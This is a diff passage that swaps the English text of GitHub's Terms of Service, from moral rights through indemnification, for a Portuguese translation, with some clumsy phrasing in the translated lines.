+Você mantém todos os direitos morais do Seu Conteúdo que você faz upload, publica ou envia em qualquer parte do Serviço, incluindo os direitos de integridade e atribuição. No entanto, você renuncia a esses direitos e concorda em não fazê-los valer contra nós, no intuito de permitir que exerçamos razoavelmente os direitos concedidos na Seção D.4, mas não de outra maneira.
 
-To the extent this agreement is not enforceable by applicable law, you grant GitHub the rights we need to use Your Content without attribution and to make reasonable adaptations of Your Content as necessary to render the Website and provide the Service.
+Na medida em que este contrato não é aplicável pela legislação aplicável, você concede ao GitHub os direitos que precisamos para usar Seu Conteúdo sem atribuição e fazer adaptações razoáveis do Seu Conteúdo conforme necessário para renderizar o Site e fornecer o Serviço.
 
-## E. Private Repositories
-**Short version:** *We treat the content of private repositories as confidential, and we only access it as described in our Privacy Statement—for security purposes, to assist the repository owner with a support matter, to maintain the integrity of the Service, to comply with our legal obligations, if we have reason to believe the contents are in violation of the law, or with your consent.*
+## E. Repositórios privados
+**Versão curta:** *Tratamos o conteúdo de repositórios privados como confidencial, e só o acessamos conforme descrito na nossa Declaração de Privacidade — para fins de segurança, para auxiliar o proprietário do repositório com uma questão de suporte, para manter a integridade do Serviço, cumprir as nossas obrigações legais, se tivermos motivos para acreditar que o conteúdo está em violação da lei, ou com o seu consentimento.*
 
-### 1. Control of Private Repositories
-Some Accounts may have private repositories, which allow the User to control access to Content.
+### 1. Controle de Repositórios Privados
+Algumas Contas podem ter repositórios privados, que permitem ao Usuário controlar o acesso ao Conteúdo.
 
-### 2. Confidentiality of Private Repositories
-GitHub considers the contents of private repositories to be confidential to you. GitHub will protect the contents of private repositories from unauthorized use, access, or disclosure in the same manner that we would use to protect our own confidential information of a similar nature and in no event with less than a reasonable degree of care.
+### 2. Confidencialidade dos Repositórios Privados
+O GitHub considera o conteúdo de repositórios privados como confidencial para você. O GitHub protegerá o conteúdo de repositórios privados de uso, acesso ou divulgação não autorizados da mesma forma que utilizaríamos para proteger nossas próprias informações confidenciais de natureza semelhante e, em todo caso, com um grau de cuidado razoável.
 
 ### 3. Access
-GitHub personnel may only access the content of your private repositories in the situations described in our [Privacy Statement](/github/site-policy/github-privacy-statement#repository-contents).
+O pessoal do GitHub só pode acessar o conteúdo dos seus repositórios privados nas situações descritas em nossa [Declaração de Privacidade](/github/site-policy/github-privacy-statement#repository-contents).
 
-You may choose to enable additional access to your private repositories. For example:
-- You may enable various GitHub services or features that require additional rights to Your Content in private repositories. These rights may vary depending on the service or feature, but GitHub will continue to treat your private repository Content as confidential. If those services or features require rights in addition to those we need to provide the GitHub Service, we will provide an explanation of those rights.
+Você pode optar por habilitar acesso adicional a seus repositórios privados. Por exemplo:
+- Você pode habilitar vários serviços do GitHub ou recursos que requerem direitos adicionais ao Seu Conteúdo em repositórios privados. Estes direitos podem variar, dependendo do serviço ou recurso, mas o GitHub continuará a tratar seu Conteúdo do repositório privado como confidencial. Se esses serviços ou recursos exigem direitos além daqueles que precisamos fornecer no Serviço GitHub, forneceremos uma explicação desses direitos.
 
-Additionally, we may be [compelled by law](/github/site-policy/github-privacy-statement#for-legal-disclosure) to disclose the contents of your private repositories. 
+Além disso, podemos ser [obrigados, por lei,](/github/site-policy/github-privacy-statement#for-legal-disclosure) a divulgar o conteúdo de seus repositórios privados.
 
-GitHub will provide notice regarding our access to private repository content, unless [for legal disclosure](/github/site-policy/github-privacy-statement#for-legal-disclosure), to comply with our legal obligations, or where otherwise bound by requirements under law, for automated scanning, or if in response to a security threat or other risk to security.
+O GitHub fornecerá avisos sobre nosso acesso ao conteúdo do repositório privado, a menos que [para divulgação legal](/github/site-policy/github-privacy-statement#for-legal-disclosure), para cumprir nossas obrigações legais, ou onde de outra forma estiver vinculado por requisitos legais, para verificação automatizada ou se em resposta a uma ameaça de segurança ou outro risco à segurança.
 
-## F. Copyright Infringement and DMCA Policy
-If you believe that content on our website violates your copyright, please contact us in accordance with our [Digital Millennium Copyright Act Policy](/articles/dmca-takedown-policy/). If you are a copyright owner and you believe that content on GitHub violates your rights, please contact us via [our convenient DMCA form](https://github.com/contact/dmca) or by emailing copyright@github.com. There may be legal consequences for sending a false or frivolous takedown notice. Before sending a takedown request, you must consider legal uses such as fair use and licensed uses.
+## F. Violação de direitos autorais e política DMCA
+Se você acredita que o conteúdo em nosso site viola seus direitos autorais, por favor, entre em contato conosco de acordo com nossa [Política Digital Millennium Copyright Act](/articles/dmca-takedown-policy/). Se você é um proprietário de direitos autorais e acredita que o conteúdo no GitHub viola seus direitos, por favor, entre em contato conosco via [formulário DMCA](https://github.com/contact/dmca) ou envie e-mail para copyright@github.com. Poderá haver consequências jurídicas para o envio de um aviso de remoção falso ou leviano. Antes de enviar uma solicitação de remoção, você deve considerar usos legais, tais como uso justo e usos licenciados.
 
-We will terminate the Accounts of [repeat infringers](/articles/dmca-takedown-policy/#e-repeated-infringement) of this policy.
+Nós encerraremos as Contas de [infratores reiterados](/articles/dmca-takedown-policy/#e-repeated-infringement) desta política.
 
-## G. Intellectual Property Notice
-**Short version:** *We own the service and all of our content. In order for you to use our content, we give you certain rights to it, but you may only use our content in the way we have allowed.*
+## G. Avisos de Propriedade Intelectual
+**Versão curta:** *Nós somos proprietários do serviço e de todo o nosso conteúdo. Para que você use nosso conteúdo, nós lhe damos certos direitos relativos a ele, mas você só pode usar nosso conteúdo da forma que permitimos.*
 
-### 1. GitHub's Rights to Content
-GitHub and our licensors, vendors, agents, and/or our content providers retain ownership of all intellectual property rights of any kind related to the Website and Service. We reserve all rights that are not expressly granted to you under this Agreement or by law. The look and feel of the Website and Service is copyright © GitHub, Inc. All rights reserved. You may not duplicate, copy, or reuse any portion of the HTML/CSS, Javascript, or visual design elements or concepts without express written permission from GitHub.
+### 1. Direitos do GitHub ao conteúdo
+GitHub e nossos licenciadores, fornecedores, agentes, e/ou nossos provedores de conteúdo detêm a propriedade de todos os direitos de propriedade intelectual de qualquer tipo relacionados ao Site e Serviço. Reservamo-nos todos os direitos que não lhe são expressamente concedidos neste Contrato ou por lei. O visual e a impressão do Site e do Serviço estão protegidos sob direitos autorais de  © GitHub, Inc. Todos os direitos reservados. Você não pode duplicar, copiar ou reutilizar qualquer parte do HTML/CSS, Javascript ou conceitos e elementos de design visual sem permissão escrita expressa do GitHub.
 
-### 2. GitHub Trademarks and Logos
-If you’d like to use GitHub’s trademarks, you must follow all of our trademark guidelines, including those on our logos page: https://github.com/logos.
+### 2. Logotipos e marcas registradas do GitHub
+Se você gostaria de usar as marcas registradas do GitHub, você deve seguir todas as nossas diretrizes sobre a marca registrada, incluindo as da nossa página de logomarcas: https://github.com/logos.
 
-### 3. License to GitHub Policies
-This Agreement is licensed under this [Creative Commons Zero license](https://creativecommons.org/publicdomain/zero/1.0/). For details, see our [site-policy repository](https://github.com/github/site-policy#license).
+### 3. Licença para as Políticas GitHub
+Este Contrato é licenciado sob esta [Licença Creative Commons Zero](https://creativecommons.org/publicdomain/zero/1.0/). Para ver os detalhes, consulte nosso [repositório da Política do Site](https://github.com/github/site-policy#license).
 
-## H. API Terms
-**Short version:** *You agree to these Terms of Service, plus this Section H, when using any of GitHub's APIs (Application Provider Interface), including use of the API through a third party product that accesses GitHub.*
+## H. Termos da API
+**Versão curta:** *Você concorda com estes Termos de Serviço, mais esta Seção H, ao usar qualquer uma das APIs (Interface do Provedor de Aplicativos) do GitHub, incluindo o uso da API através de um produto de terceiros que acesse o GitHub.*
 
-Abuse or excessively frequent requests to GitHub via the API may result in the temporary or permanent suspension of your Account's access to the API. GitHub, in our sole discretion, will determine abuse or excessive usage of the API. We will make a reasonable attempt to warn you via email prior to suspension.
+Solicitações abusivas ou excessivamente frequentes para o GitHub através da API podem resultar na suspensão temporária ou permanente do acesso da sua Conta à API. O GitHub, a nosso exclusivo critério, determinará o uso abusivo ou excessivo da API. Nós faremos uma tentativa razoável de avisá-lo por e-mail antes da suspensão.
 
-You may not share API tokens to exceed GitHub's rate limitations.
+Você não pode compartilhar tokens da API para exceder as limitações de taxa do GitHub.
 
-You may not use the API to download data or Content from GitHub for spamming purposes, including for the purposes of selling GitHub users' personal information, such as to recruiters, headhunters, and job boards.
+Você não pode usar a API para baixar dados ou Conteúdo do GitHub para fins de spamming, incluindo para fins de venda de informações pessoais de usuários do GitHub, tais como recrutadores, headhunters e sites de emprego.
 
-All use of the GitHub API is subject to these Terms of Service and the [GitHub Privacy Statement](https://github.com/site/privacy).
+Todo o uso da API do GitHub está sujeito a estes Termos de Serviço e à [Declaração de Privacidade do GitHub](https://github.com/site/privacy).
 
-GitHub may offer subscription-based access to our API for those Users who require high-throughput access or access that would result in resale of GitHub's Service.
+O GitHub pode oferecer acesso baseado em assinaturas à nossa API para os Usuários que necessitam de acesso de alto desempenho ou acesso que resultariam na revenda do Serviço do GitHub.
 
-## I. GitHub Additional Product Terms
-**Short version:** *You need to follow certain specific terms and conditions for GitHub's various features and products, and you agree to the Supplemental Terms and Conditions when you agree to this Agreement.*
+## I. Termos Adicionais do Produto GitHub
+**Versão curta:** *Você precisa seguir certos termos e condições específicos para os vários recursos e produtos do GitHub, e você concorda com os Termos e Condições Suplementares ao concordar com este Contrato.*
 
-Some Service features may be subject to additional terms specific to that feature or product as set forth in the GitHub Additional Product Terms. By accessing or using the Services, you also agree to the [GitHub Additional Product Terms](/github/site-policy/github-additional-product-terms).
+Alguns recursos do Serviço podem estar sujeitos a termos adicionais específicos para aquele recurso ou produto, conforme definido nos Termos de Produto Adicionais no GitHub. Ao acessar ou utilizar os Serviços, você também concorda com os [Termos de Produto Adicionais do GitHub](/github/site-policy/github-additional-product-terms).
 
-## J. Beta Previews
-**Short version:** *Beta Previews may not be supported or may change at any time. You may receive confidential information through those programs that must remain confidential while the program is private. We'd love your feedback to make our Beta Previews better.*
+## J. Visualizações Beta
+**Versão curta:** Pré-visualizações Beta de *podem não ser compatíveis ou podem ser alteradas a qualquer momento. Você pode receber informações confidenciais por meio dos programas que devem permanecer confidenciais enquanto o programa for privado. Adoraríamos ouvir seu feedback para pode melhorar as nossas visualizações beta.*
 
-### 1. Subject to Change
+### 1. Sujeito a alterações
 
-Beta Previews may not be supported and may be changed at any time without notice. In addition, Beta Previews are not subject to the same security measures and auditing to which the Service has been and is subject. **By using a Beta Preview, you use it at your own risk.**
+As Visualizações Beta podem não ser compatíveis, podem ser alteradas a qualquer momento sem aviso prévio Além disso, as Visualizações Beta não estão sujeitas às mesmas medidas de segurança e auditorias a que o Serviço tem sido e está sujeito. **Ao usar uma Visualização Beta, você a utiliza por sua conta e risco.**
 
-### 2. Confidentiality
+### 2. Confidencialidade
 
-As a user of Beta Previews, you may get access to special information that isn’t available to the rest of the world. Due to the sensitive nature of this information, it’s important for us to make sure that you keep that information secret.
+Como um usuário de Visualizações Beta, você pode obter acesso a informações especiais que não estão disponíveis para o resto do mundo. Devido à natureza sensível desta informação, é importante que nos certifiquemos de que você mantém em segredo essa informação.
 
-**Confidentiality Obligations.** You agree that any non-public Beta Preview information we give you, such as information about a private Beta Preview, will be considered GitHub’s confidential information (collectively, “Confidential Information”), regardless of whether it is marked or identified as such. You agree to only use such Confidential Information for the express purpose of testing and evaluating the Beta Preview (the “Purpose”), and not for any other purpose. You should use the same degree of care as you would with your own confidential information, but no less than reasonable precautions to prevent any unauthorized use, disclosure, publication, or dissemination of our Confidential Information. You promise not to disclose, publish, or disseminate any Confidential Information to any third party, unless we don’t otherwise prohibit or restrict such disclosure (for example, you might be part of a GitHub-organized group discussion about a private Beta Preview feature).
+**Obrigações de Confidencialidade.** Você concorda que qualquer informação de Visualização Beta não pública que lhe demos, como informações sobre uma Visualização Beta privada, serão consideradas informações confidenciais do GitHub (coletivamente, "Informações Confidenciais"), independentemente de serem marcadas ou identificadas como tais. Você concorda em apenas utilizar essas Informações Confidenciais para o propósito expresso de testar e avaliar a Visualização Beta (o "Objetivo"), e não para qualquer outro fim. Você deve usar o mesmo grau de cuidado que usa com as suas próprias informações confidenciais, mas nada menos do que precauções razoáveis para evitar qualquer uso não autorizado, divulgação, publicação ou difusão de nossas informações Confidenciais. Você prometeu não divulgar, publicar ou difundir qualquer Informação Confidencial para terceiros, a menos que não proibamos ou restrinjamos tal divulgação (por exemplo, você pode fazer parte de uma discussão em grupo no GitHub-organizado sobre uma função de Visualização Beta privada).
 
-**Exceptions.** Confidential Information will not include information that is: (a) or becomes publicly available without breach of this Agreement through no act or inaction on your part (such as when a private Beta Preview becomes a public Beta Preview); (b) known to you before we disclose it to you; (c) independently developed by you without breach of any confidentiality obligation to us or any third party; or (d) disclosed with permission from GitHub. You will not violate the terms of this Agreement if you are required to disclose Confidential Information pursuant to operation of law, provided GitHub has been given reasonable advance written notice to object, unless prohibited by law. 
+**Exceções.** Informações Confidenciais não incluirão informações que: (a) ou se tornam publicamente disponíveis sem violação deste Contrato através de nenhuma ação ou inação da sua parte (tais como quando uma Visualização Beta privada se torna uma Visualização Beta pública); (b) são conhecidas por você antes de a divulgarmos para você; (c) são desenvolvidas de forma independente por você sem violação de qualquer obrigação de confidencialidade para nós ou para qualquer terceiro; ou (d) forem divulgadas com permissão do GitHub. Você não violará os termos deste Contrato se for obrigado a divulgar informações Confidenciais de acordo com a operação do direito, desde que o GitHub tenha sido avisado com razoável antecedência por escrito para o objeto, a menos que seja proibido por lei.
 
 ### 3. Feedback
 
-We’re always trying to improve of products and services, and your feedback as a Beta Preview user will help us do that. If you choose to give us any ideas, know-how, algorithms, code contributions, suggestions, enhancement requests, recommendations or any other feedback for our products or services (collectively, “Feedback”), you acknowledge and agree that GitHub will have a royalty-free, fully paid-up, worldwide, transferable, sub-licensable, irrevocable and perpetual license to implement, use, modify, commercially exploit and/or incorporate the Feedback into our products, services, and documentation.
+Estamos sempre tentando melhorar os produtos e serviços, e seu feedback como um usuário de Visualização Beta nos ajudará a fazer isso. Se você optar por fornecer qualquer ideia, conhecimento, algoritmos, contribuições de código, sugestões, solicitações de aprimoramento, recomendações ou qualquer outro feedback de nossos produtos ou serviços (coletivamente, "Feedback"), você reconhece e concorda que o GitHub terá uma licença livre de royalties, totalmente paga, mundial, transferível, sublicenciável, irrevogável e perpétua para implementar, usar, modificar, explorar comercialmente e/ou incorporar o Feedback em nossos produtos, serviços e documentação.
 
-## K. Payment
-**Short version:** *You are responsible for any fees associated with your use of GitHub. We are responsible for communicating those fees to you clearly and accurately, and letting you know well in advance if those prices change.*
+## K. Pagamento
+**Versão curta:** *Você é responsável por quaisquer taxas associadas ao uso do GitHub. Somos responsáveis por comunicar-lhe essas taxas de forma clara e precisa, e deixá-lo saber com bastante antecedência se esses preços mudarem.*
 
-### 1. Pricing
-Our pricing and payment terms are available at [github.com/pricing](https://github.com/pricing). If you agree to a subscription price, that will remain your price for the duration of the payment term; however, prices are subject to change at the end of a payment term.
+### 1. Preços
+Nossos termos de preços e pagamento estão disponíveis em [github.com/pricing](https://github.com/pricing). Se você concordar com um preço de assinatura, esse permanecerá sendo o valor durante o período de pagamento. No entanto, os preços estão sujeitos a alterações no final de um prazo de pagamento.
 
-### 2. Upgrades, Downgrades, and Changes
-- We will immediately bill you when you upgrade from the free plan to any paying plan.
-- If you change from a monthly billing plan to a yearly billing plan, GitHub will bill you for a full year at the next monthly billing date.
-- If you upgrade to a higher level of service, we will bill you for the upgraded plan immediately.
-- You may change your level of service at any time by [choosing a plan option](https://github.com/pricing) or going into your [Billing settings](https://github.com/settings/billing). If you choose to downgrade your Account, you may lose access to Content, features, or capacity of your Account. Please see our section on [Cancellation](#l-cancellation-and-termination) for information on getting a copy of that Content.
+### 2. Atualizações, Downgrade e Alterações
+- Vamos imediatamente faturar para você quando você atualizar do plano grátis para qualquer plano de pagamento.
+- Se você mudar de um plano de cobrança mensal para um plano de cobrança anual, o GitHub vai faturar para você por um ano inteiro na próxima data de faturamento mensal.
+- Se você atualizar para um nível mais alto de serviço, iremos faturá-lo imediatamente pelo plano atualizado.
+- Você pode mudar o seu nível de serviço a qualquer momento ao [escolher uma opção de plano](https://github.com/pricing) ou indo em suas [Configurações de faturamento](https://github.com/settings/billing). Se você optar por fazer o downgrade de sua Conta, você pode perder acesso ao Conteúdo, recursos ou capacidade de sua Conta. Por favor, veja nossa seção em [Cancelamento](#l-cancellation-and-termination) para obter informações sobre como obter uma cópia deste Conteúdo.
 
-### 3. Billing Schedule; No Refunds
-**Payment Based on Plan** For monthly or yearly payment plans, the Service is billed in advance on a monthly or yearly basis respectively and is non-refundable. There will be no refunds or credits for partial months of service, downgrade refunds, or refunds for months unused with an open Account; however, the service will remain active for the length of the paid billing period. In order to treat everyone equally, no exceptions will be made.
+### 3. Agendamento de Cobrança; Sem Reembolsos
+**Pagamento com base no Plano** Para planos de pagamento mensais ou anuais, o Serviço é cobrado antecipadamente de forma mensal ou anual, respectivamente, e não é reembolsável. Não haverá reembolsos ou créditos para meses parciais de serviço, reembolsos de downgrade ou reembolsos por meses não utilizados com uma Conta aberta. No entanto, o serviço permanecerá ativo durante o período de cobrança pago. A fim de tratar todos igualmente, não serão feitas exceções.
 
-**Payment Based on Usage** Some Service features are billed based on your usage. A limited quantity of these Service features may be included in your plan for a limited term without additional charge. If you choose to purchase paid Service features beyond the quantity included in your plan, you pay for those Service features based on your actual usage in the preceding month. Monthly payment for these purchases will be charged on a periodic basis in arrears. See [GitHub Additional Product Terms for Details](/github/site-policy/github-additional-product-terms).
+**Pagamento com Base no Uso** Alguns recursos de Serviço são cobrados com base no seu uso. Uma quantidade limitada destes recursos de Serviço pode ser incluída no seu plano por um termo limitado sem custos adicionais. Se você optar por comprar recursos de Serviço pagos além da quantidade incluída no seu plano, você paga por esses recursos de Serviço com base no seu uso real no mês anterior. O pagamento mensal destas compras será cobrado periodicamente em atraso. Veja [Termos do Produto Adicionais GitHub para mais detalhes](/github/site-policy/github-additional-product-terms).
 
-**Invoicing** For invoiced Users, User agrees to pay the fees in full, up front without deduction or setoff of any kind, in U.S. Dollars. User must pay the fees within thirty (30) days of the GitHub invoice date. Amounts payable under this Agreement are non-refundable, except as otherwise provided in this Agreement. If User fails to pay any fees on time, GitHub reserves the right, in addition to taking any other action at law or equity, to (i) charge interest on past due amounts at 1.0% per month or the highest interest rate allowed by law, whichever is less, and to charge all expenses of recovery, and (ii) terminate the applicable order form. User is solely responsible for all taxes, fees, duties and governmental assessments (except for taxes based on GitHub's net income) that are imposed or become due in connection with this Agreement.
+**Faturamento** Para Usuários faturados, o Usuário concorda em pagar integralmente as taxas, antecipadamente, sem desconto ou compensação de qualquer tipo, em dólares americanos. Dólar. O Usuário deve pagar as taxas dentro de trinta (30) dias da data da fatura no GitHub. Os montantes a pagar ao abrigo deste Contrato não podem ser reembolsados, exceto se for o caso previsto neste Contrato. Se o Usuário não pagar nenhuma taxa dentro do vencimento, o GitHub reserva o direito, para além de qualquer outra ação ou medida prevista em lei, a (i) cobrar juros sobre os montantes vencidos a 1.0% por mês ou a taxa de juros mais alta permitida por lei, a que for menor, e cobrar todas as despesas de cobrança, e (ii) encerrar o formulário de compra aplicável. O Usuário é o único responsável por todos os impostos, taxas, obrigações e avaliações governamentais (exceto impostos baseados na renda líquida do GitHub) que são impostos ou se tornam devidos em relação a este Contrato.
 
-### 4. Authorization
-By agreeing to these Terms, you are giving us permission to charge your on-file credit card, PayPal account, or other approved methods of payment for fees that you authorize for GitHub.
+### 4. Autorização
+Ao concordar com estes Termos, você está nos dando permissão para cobrar seu cartão de crédito registrado, sua conta do PayPal, ou outros métodos de pagamento aprovados para as taxas que você autorizou para o GitHub.
 
-### 5. Responsibility for Payment
-You are responsible for all fees, including taxes, associated with your use of the Service. By using the Service, you agree to pay GitHub any charge incurred in connection with your use of the Service.  If you dispute the matter, contact [GitHub Support](https://support.github.com/contact?tags=docs-policy). You are responsible for providing us with a valid means of payment for paid Accounts. Free Accounts are not required to provide payment information.
+### 5. Responsabilidade do pagamento
+Você é responsável por todas as taxas, incluindo impostos associados com seu uso do Serviço. Ao usar o Serviço, você concorda em pagar ao GitHub qualquer cobrança incorrida em relação ao seu uso do Serviço.  Se você não concorda com a cobrança, entre em contato com [Suporte do GitHub](https://support.github.com/contact?tags=docs-policy). Você é responsável por nos fornecer um meio de pagamento válido para Contas pagas. Contas Grátis não são precisam fornecer informações de pagamento.
 
-## L. Cancellation and Termination
-**Short version:** *You may close your Account at any time. If you do, we'll treat your information responsibly.*
+## L. Cancelamento e Rescisão
+**Versão curta:** *Você pode encerrar sua Conta a qualquer momento. Se o fizer, trataremos suas informações de forma responsável.*
 
-### 1. Account Cancellation
-It is your responsibility to properly cancel your Account with GitHub. You can [cancel your Account at any time](/articles/how-do-i-cancel-my-account/) by going into your Settings in the global navigation bar at the top of the screen. The Account screen provides a simple, no questions asked cancellation link. We are not able to cancel Accounts in response to an email or phone request.
+### 1. Cancelamento de conta
+É sua responsabilidade cancelar corretamente sua Conta com o GitHub. Você pode [cancelar sua Conta a qualquer momento](/articles/how-do-i-cancel-my-account/) indo em suas Configurações na barra global de navegação no topo da tela. A tela da Conta fornece um link simples, sem questionamentos, para você efetuar o cancelamento. Não cancelamos Contas por solicitações via e-mail ou telefone.
 
-### 2. Upon Cancellation
-We will retain and use your information as necessary to comply with our legal obligations, resolve disputes, and enforce our agreements, but barring legal requirements, we will delete your full profile and the Content of your repositories within 90 days of cancellation or termination (though some information may remain in encrypted backups). This information can not be recovered once your Account is cancelled.
+### 2. Após Cancelamento
+Vamos reter e usar suas informações conforme necessário para cumprir nossas obrigações legais, resolver conflitos e fazer valer nossos contratos; salvo em casos de requisitos legais, apagaremos seu perfil por completo  e o Conteúdo de seus repositórios dentro de 90 dias do cancelamento ou encerramento (embora algumas informações possam permanecer em backups encriptados). Estas informações não podem ser recuperadas depois que sua Conta for cancelada.
 
-We will not delete Content that you have contributed to other Users' repositories or that other Users have forked.
+Não vamos apagar o Conteúdo que você tenha contribuído para os repositórios de outros Usuários ou que outros Usuários tenham bifurcado.
 
-Upon request, we will make a reasonable effort to provide an Account owner with a copy of your lawful, non-infringing Account contents after Account cancellation, termination, or downgrade. You must make this request within 90 days of cancellation, termination, or downgrade.
+Mediante solicitação, faremos um esforço razoável para fornecer a um proprietário de Conta uma cópia dos seus conteúdos da Conta que sejam legítimos e não violadores após cancelamento, exclusão ou downgrade da Conta. Você deve fazer este pedido no prazo de 90 dias a partir do cancelamento, exclusão ou downgrade.
 
-### 3. GitHub May Terminate
-GitHub has the right to suspend or terminate your access to all or any part of the Website at any time, with or without cause, with or without notice, effective immediately. GitHub reserves the right to refuse service to anyone for any reason at any time.
+### 3. O GitHub pode rescindir
+O GitHub tem o direito de suspender ou cancelar seu acesso a todos ou a qualquer parte do Site a qualquer momento, com ou sem causa, com ou sem aviso prévio, imediatamente. O GitHub reserva-se o direito de recusar serviço a qualquer pessoa por qualquer razão a qualquer momento.
 
-### 4. Survival
-All provisions of this Agreement which, by their nature, should survive termination *will* survive termination — including, without limitation: ownership provisions, warranty disclaimers, indemnity, and limitations of liability.
+### 4. Sobrevivência
+Todas as disposições deste Contrato que, por sua natureza, devem permanecer diante da rescisão*irão* permanecer diante da rescisão — incluindo, sem limitação: as disposições relativas à propriedade, as isenções de garantias, a indenização e as limitações de responsabilidade.
 
-## M. Communications with GitHub
-**Short version:** *We use email and other electronic means to stay in touch with our users.*
+## M. Comunicações com o GitHub
+**Versão curta:** *Usamos e-mail e outros meios eletrônicos para nos mantermos em contato com nossos usuários*
 
-### 1. Electronic Communication Required
-For contractual purposes, you (1) consent to receive communications from us in an electronic form via the email address you have submitted or via the Service; and (2) agree that all Terms of Service, agreements, notices, disclosures, and other communications that we provide to you electronically satisfy any legal requirement that those communications would satisfy if they were on paper. This section does not affect your non-waivable rights.
+### 1. Comunicação eletrônica obrigatória
+Para fins contratuais, você (1) consente em receber mensagens nossas a partir de um formulário eletrônico através do endereço de e-mail que você enviou ou através do Serviço; e (2) concorda que todos os Termos de Serviço, acordos, avisos, divulgações e outras mensagens que lhe fornecemos eletronicamente satisfazem qualquer requisito legal que satisfariam se estivessem no papel. Esta seção não afeta seus direitos inalienáveis.
 
-### 2. Legal Notice to GitHub Must Be in Writing
-Communications made through email or GitHub Support's messaging system will not constitute legal notice to GitHub or any of its officers, employees, agents or representatives in any situation where notice to GitHub is required by contract or any law or regulation. Legal notice to GitHub must be in writing and [served on GitHub's legal agent](/articles/guidelines-for-legal-requests-of-user-data/#submitting-requests).
+### 2. Notificações legais ao GitHub devem estar por escrito
+Comunicações feitas através de e-mail ou sistema de mensagens do Suporte GitHub não constituirão notificação legal para o GitHub ou qualquer um de seus administradores, funcionários, agentes ou representantes em qualquer situação em que a notificação no GitHub seja exigida por contrato ou por qualquer lei ou regulamento. Notificações legais para o GitHub devem ser feitas por escrito e [enviadas ao responsável legal do GitHub](/articles/guidelines-for-legal-requests-of-user-data/#submitting-requests).
 
-### 3. No Phone Support
-GitHub only offers support via email, in-Service communications, and electronic messages. We do not offer telephone support.
+### 3. Não há Suporte por telefone
+O GitHub oferece suporte apenas por e-mail, mensagens em Serviço e mensagens eletrônicas. Não fornecemos suporte telefônico.
 
-## N. Disclaimer of Warranties
-**Short version:** *We provide our service as is, and we make no promises or guarantees about this service. Please read this section carefully; you should understand what to expect.*
+## N. Isenção de Garantias
+**Versão curta:** *Fornecemos nosso serviço como está, e não fazemos promessas nem damos garantias sobre este serviço. Por favor, leia esta seção com cuidado; você deve entender o que esperar.*
 
-GitHub provides the Website and the Service “as is” and “as available,” without warranty of any kind. Without limiting this, we expressly disclaim all warranties, whether express, implied or statutory, regarding the Website and the Service including without limitation any warranty of merchantability, fitness for a particular purpose, title, security, accuracy and non-infringement.
+GitHub fornece o Site e o Serviço "como está" e "conforme disponível", sem nenhuma garantia de qualquer tipo. Sem limitar a isso, rejeitamos expressamente todas as garantias, sejam elas expressas, implícitas ou estatutárias, relativamente ao Site e ao Serviço, incluindo, sem limitação, qualquer garantia de comercialização, aptidão para uma determinada finalidade, título, segurança, precisão e não infração.
 
-GitHub does not warrant that the Service will meet your requirements; that the Service will be uninterrupted, timely, secure, or error-free; that the information provided through the Service is accurate, reliable or correct; that any defects or errors will be corrected; that the Service will be available at any particular time or location; or that the Service is free of viruses or other harmful components. You assume full responsibility and risk of loss resulting from your downloading and/or use of files, information, content or other material obtained from the Service.
+O GitHub não garante que o Serviço atenderá seus requisitos; que o Serviço será ininterrupto, pontual, seguro ou sem erros; que as informações fornecidas através do Serviço serão precisas, confiáveis ou corretas; que quaisquer defeitos ou erros serão corrigidos; que o Serviço estará disponível a qualquer momento ou local; ou que o Serviço estará livre de vírus ou de outros componentes nocivos. Você assume total responsabilidade e risco de perda resultante do seu download e/ou uso de arquivos, informações, conteúdo ou outro material obtido do Serviço.
 
-## O. Limitation of Liability
-**Short version:** *We will not be liable for damages or losses arising from your use or inability to use the service or otherwise arising under this agreement. Please read this section carefully; it limits our obligations to you.*
+## O. Limitação de responsabilidade
+**Versão curta:** *Nós não seremos responsáveis por danos ou perdas decorrentes do seu uso ou incapacidade de usar o serviço ou que resultem de outra forma ao abrigo deste contrato. Por favor, leia esta seção com cuidado; ela limita nossas obrigações para com você.*
 
-You understand and agree that we will not be liable to you or any third party for any loss of profits, use, goodwill, or data, or for any incidental, indirect, special, consequential or exemplary damages, however arising, that result from
+Você entende e concorda que não seremos responsáveis perante você ou terceiros por qualquer perda de lucros, uso, ágios ou dados, ou por qualquer dano acidental, indireto, especial, consequente ou danos exemplar, independentemente do seu surgimento, que resulte de
 
-- the use, disclosure, or display of your User-Generated Content;
-- your use or inability to use the Service;
-- any modification, price change, suspension or discontinuance of the Service;
-- the Service generally or the software or systems that make the Service available;
-- unauthorized access to or alterations of your transmissions or data;
-- statements or conduct of any third party on the Service;
-- any other user interactions that you input or receive through your use of the Service; or
-- any other matter relating to the Service.
+- uso, divulgação ou exibição do seu Conteúdo Gerado pelo Usuário;
+- seu uso ou incapacidade de usar o Serviço;
+- qualquer modificação, mudança de preço, suspensão ou descontinuidade do Serviço;
+- o Serviço, em geral, ou o software ou sistemas que tornam o Serviço disponível;
+- acesso não autorizado ou alterações de suas transmissões ou dados;
+- declarações ou conduta de terceiros no Serviço;
+- quaisquer outras interações que você insira ou receba através do seu uso do Serviço; ou
+- qualquer outra questão relacionada com o Serviço.
 
-Our liability is limited whether or not we have been informed of the possibility of such damages, and even if a remedy set forth in this Agreement is found to have failed of its essential purpose. We will have no liability for any failure or delay due to matters beyond our reasonable control.
+Nossa responsabilidade está limitada ao fato de termos ou não sido informados da possibilidade de tais danos, e mesmo que se encontre uma solução neste Contrato que não tenha falhado em seu propósito essencial. Não teremos qualquer responsabilidade por qualquer falha ou atraso devido a questões que não sejam passíveis de um controle razoável.
 
-## P. Release and Indemnification
-**Short version:** *You are responsible for your use of the service. If you harm someone else or get into a dispute with someone else, we will not be involved.*
+## P. Versão e Indenização
+**Versão curta:** *Você é responsável pelo uso do serviço. Se você prejudicar outra pessoa ou entrar em disputa com outra pessoa, nós não seremos envolvidos.*
 
-If you have a dispute with one or more Users, you agree to release GitHub from any and all claims, demands and damages (actual and consequential) of every kind and nature, known and unknown, arising out of or in any way connected with such disputes.
+Se você tiver uma disputa com um ou mais Usuários, você concorda em liberar o GitHub de qualquer reivindicação, exigências e danos (reais e consequentes) de todos os tipos e natureza, conhecidos e desconhecidos, resultantes de ou de qualquer outra forma relacionada com esses tipos de litígios.
 
-You agree to indemnify us, defend us, and hold us harmless from and against any and all claims, liabilities, and expenses, including attorneys’ fees, arising out of your use of the Website and the Service, including but not limited to your violation of this Agreement, provided that GitHub (1) promptly gives you written notice of the claim, demand, suit or proceeding; (2) gives you sole control of the defense and settlement of the claim, demand, suit or proceeding (provided that you may not settle any claim, demand, suit or proceeding unless the settlement unconditionally releases GitHub of all liability); and (3) provides to you all reasonable assistance, at your expense.
